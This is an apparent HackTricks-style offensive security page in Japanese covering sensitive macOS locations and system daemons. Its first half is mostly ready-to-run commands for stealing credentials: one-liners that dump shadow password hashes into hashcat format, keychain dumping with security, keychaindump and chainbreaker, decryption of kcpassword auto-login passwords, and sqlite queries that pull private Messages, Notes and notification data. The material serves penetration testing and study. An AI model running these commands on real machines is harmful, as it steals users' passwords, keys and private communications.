macOS Sensitive Locations & Interesting Daemons

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

パスワード

シャドウパスワード

シャドウパスワードは、**/var/db/dslocal/nodes/Default/users/**にあるplist内のユーザーの構成と共に保存されます。 次のワンライナーを使用して、ユーザーに関するすべての情報(ハッシュ情報を含む)をダンプできます:

for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; fi; done

このようなスクリプトまたはこのようなものは、ハッシュをhashcat 形式に変換するために使用できます。

すべての非サービスアカウントの資格情報をmacOS PBKDF2-SHA512形式のhashcat形式でダンプする代替のワンライナー:

sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done'

キーチェーンのダンプ

セキュリティバイナリを使用してパスワードを復号化してダンプする際には、ユーザーにこの操作を許可するよう求めるプロンプトが複数表示されることに注意してください。

#security
secuirty dump-trust-settings [-s] [-d] #List certificates
security list-keychains #List keychain dbs
security list-smartcards #List smartcards
security dump-keychain | grep -A 5 "keychain" | grep -v "version" #List keychains entries
security dump-keychain -d #Dump all the info, included secrets (the user will be asked for his password, even if root)

このコメントに基づくと、これらのツールはBig Surではもはや機能しないようです。

Keychaindumpの概要

keychaindumpというツールは、macOSのキーチェーンからパスワードを抽出するために開発されましたが、Big Surなどの新しいmacOSバージョンでは制限があります。議...keychaindumpの使用には、攻撃者がrootへのアクセス権を取得し特権を昇格させる必要があります。このツールは、キーチェーンがユーザーのログイン時にデフォルトでロック解除されていることを悪用しており、アプリケーションが繰り返しユーザーのパスワードを要求せずにアクセスできるようにしています。ただし、ユーザーが各使用後にキーチェーンをロックするオプションを選択した場合、keychaindumpは無効になります。

Keychaindumpは、Appleによって認証および暗号操作のためのデーモンとして説明されるsecuritydという特定のプロセスを対象に動作します。抽出プロセスには、ユーザーのログインパス複合から派生したMaster Keyを特定することが含まれます。このキーは、キーチェーンファイルを読み取るために不可欠です。keychaindumpは、vmmapコマンドを使用してsecuritydのメモリヒープをスキャンし、MALLOC_TINYとしてフラグ付けされた領域内の潜在的なキーを探します。これらのメモリ位置を調査するためには、次のコマンドが使用されます:

sudo vmmap <securityd PID> | grep MALLOC_TINY

潜在的なマスターキーを特定した後、keychaindump は特定のパターン (0x0000000000000018) を探し、マスターキーの候補を示す。このキーを利用するには、keychaindump のソースコードで詳細に説明されているように、さらなるステップが必要であり、これには難読化も含まれる。この領域に焦点を当てるアナリストは、キーチェーンを復号化するための重要なデータが securityd プロセスのメモリに保存されていることに注意すべきである。keychaindump を実行するための例として、次のコマンドがある:

sudo ./keychaindump

chainbreaker

Chainbreakerは、OSXキーチェーンから以下の種類の情報を法的に適切な方法で抽出するために使用できます:

  • ハッシュ化されたキーチェーンパスワード(hashcatJohn the Ripperでクラック可能)

  • インターネットパスワード

  • 一般的なパスワード

  • プライベートキー

  • パブリックキー

  • X509証明書

  • セキュアノート

  • Appleshareパスワード

キーチェーンのアンロックパスワード、volafoxvolatilityを使用して取得したマスターキー、またはSystemKeyなどのアンロックファイルを使用すると、Chainbreakerは平文パスワードも提供します。

これらのいずれかの方法でキーチェーンをアンロックしない場合、Chainbreakerは他の利用可能な情報をすべて表示します。

キーチェーンキーをダンプ

#Dump all keys of the keychain (without the passwords)
python2.7 chainbreaker.py --dump-all /Library/Keychains/System.keychain

SystemKeyを使用してキーチェーンキー(パスワード付き)をダンプする

# First, get the keychain decryption key
# To get this decryption key you need to be root and SIP must be disabled
hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey && echo
## Use the previous key to decrypt the passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain

ハッシュを解読してキーチェーンのキー(パスワード付き)をダンプする

# Get the keychain hash
python2.7 chainbreaker.py --dump-keychain-password-hash /Library/Keychains/System.keychain
# Crack it with hashcat
hashcat.exe -m 23100 --keep-guessing hashes.txt dictionary.txt
# Use the key to decrypt the passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain

メモリダンプを使用してキーチェーンキー(パスワード付き)をダンプする

これらの手順に従います メモリダンプを実行します

#Use volafox (https://github.com/n0fate/volafox) to extract possible keychain passwords
# Unformtunately volafox isn't working with the latest versions of MacOS
python vol.py -i ~/Desktop/show/macosxml.mem -o keychaindump

#Try to extract the passwords using the extracted keychain passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain

ユーザーパスワードを使用してキーチェーンキー(パスワード付き)をダンプする

ユーザーパスワードを知っている場合、それを使用してユーザーに属するキーチェーンをダンプおよび復号化できます。

#Prompt to ask for the password
python2.7 chainbreaker.py --dump-all --password-prompt /Users/<username>/Library/Keychains/login.keychain-db

kcpassword

kcpasswordファイルは、ユーザーのログインパスワードを保持するファイルですが、システム所有者が自動ログインを有効にしている場合にのみ該当します。したがって、ユーザーはパスワードを求められることなく自動的にログインされます(これはあまり安全ではありません)。

パスワードは、ファイル**/etc/kcpassword0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F**というキーでXOR演算されて格納されます。ユーザーのパスワードがキーよりも長い場合、キーは再利用されます。 これにより、例えばこのようなスクリプトを使用して、パスワードをかなり簡単に回復できます。

データベース内の興味深い情報

メッセージ

sqlite3 $HOME/Library/Messages/chat.db .tables
sqlite3 $HOME/Library/Messages/chat.db 'select * from message'
sqlite3 $HOME/Library/Messages/chat.db 'select * from attachment'
sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages'
sqlite3 $HOME/Suggestions/snippets.db 'select * from emailSnippets'

通知

通知データは$(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/にあります。

興味深い情報のほとんどはblobに含まれています。したがって、そのコンテンツを抽出して人間が読める形式変換するか、**strings**を使用する必要があります。アクセスするには、次のようにします:

cd $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/
strings $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/db2/db | grep -i -A4 slack

ノート

ユーザーのノート~/Library/Group Containers/group.com.apple.notes/NoteStore.sqliteに保存されています。

sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite .tables

#To dump it in a readable format:
for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite "select Z_PK from ZICNOTEDATA;"); do sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite "select writefile('body1.gz.z', ZDATA) from ZICNOTEDATA where Z_PK = '$i';"; zcat body1.gz.Z ; done

Preferences

macOSアプリケーションの設定は**$HOME/Library/Preferences**にあり、iOSの場合は/var/mobile/Containers/Data/Application/<UUID>/Library/Preferencesにあります。

macOSでは、defaultsというCLIツールを使用して設定ファイルを変更できます。

**/usr/sbin/cfprefsd**はXPCサービスcom.apple.cfprefsd.daemoncom.apple.cfprefsd.agentを所有し、設定を変更するなどのアクションを実行するために呼び出すことができます。

システム通知

Darwin通知

通知のためのメインデーモンは**/usr/sbin/notifyd**です。通知を受信するために、クライアントはcom.apple.system.notification_center Machポートを介して登録する必要があります(sudo lsmp -p <pid notifyd>で確認できます)。デーモンはファイル/etc/notify.confで構成できます。

通知に使用される名前は一意の逆DNS表記であり、通知が送信されると、それを処理できると示しているクライアントが受信します。

現在の状態をダンプして(すべての名前を表示する)、notifydプロセスにSIGUSR2シグナルを送信し、生成されたファイル/var/run/notifyd_<pid>.statusを読み取ることができます。

ps -ef | grep -i notifyd
0   376     1   0 15Mar24 ??        27:40.97 /usr/sbin/notifyd

sudo kill -USR2 376

cat /var/run/notifyd_376.status
[...]
pid: 94379   memory 5   plain 0   port 0   file 0   signal 0   event 0   common 10
memory: com.apple.system.timezone
common: com.apple.analyticsd.running
common: com.apple.CFPreferences._domainsChangedExternally
common: com.apple.security.octagon.joined-with-bottle
[...]

分散通知センター

分散通知センターは、そのメインバイナリが**/usr/sbin/distnoted**である。これは通知を送信する別の方法であり、いくつかのXPCサービスを公開し、クライアントを検証しようとするチェックを実行する。

Apple Push Notifications (APN)

この場合、アプリケーションはトピックに登録できる。クライアントは**apsdを介してAppleのサーバーに接続するためのトークンを生成する。 その後、プロバイダーはトークンを生成し、Appleのサーバーに接続してクライアントにメッセージを送信できる。これらのメッセージはローカルでapsd**によって受信され、それを待っているアプリケーションに通知が中継される。

設定は/Library/Preferences/com.apple.apsd.plistにあります。

macOSにはメッセージのローカルデータベースがあり、/Library/Application\ Support/ApplePushService/aps.dbに、iOSには/var/mobile/Library/ApplePushServiceにあります。これにはincoming_messagesoutgoing_messageschannelの3つのテーブルがあります。

sudo sqlite3 /Library/Application\ Support/ApplePushService/aps.db

次のコマンドを使用して、デーモンと接続に関する情報を取得することもできます:

/System/Library/PrivateFrameworks/ApplePushService.framework/apsctl status

ユーザー通知

これらは、ユーザーが画面で見る必要がある通知です:

  • CFUserNotification: このAPIは、画面にメッセージ付きのポップアップを表示する方法を提供します。

  • 掲示板: これはiOSでバナーを表示し、消えてから通知センターに保存されます。

  • NSUserNotificationCenter: これはMacOSのiOS掲示板です。通知のデータベースは/var/folders/<user temp>/0/com.apple.notificationcenter/db2/dbにあります。

Last updated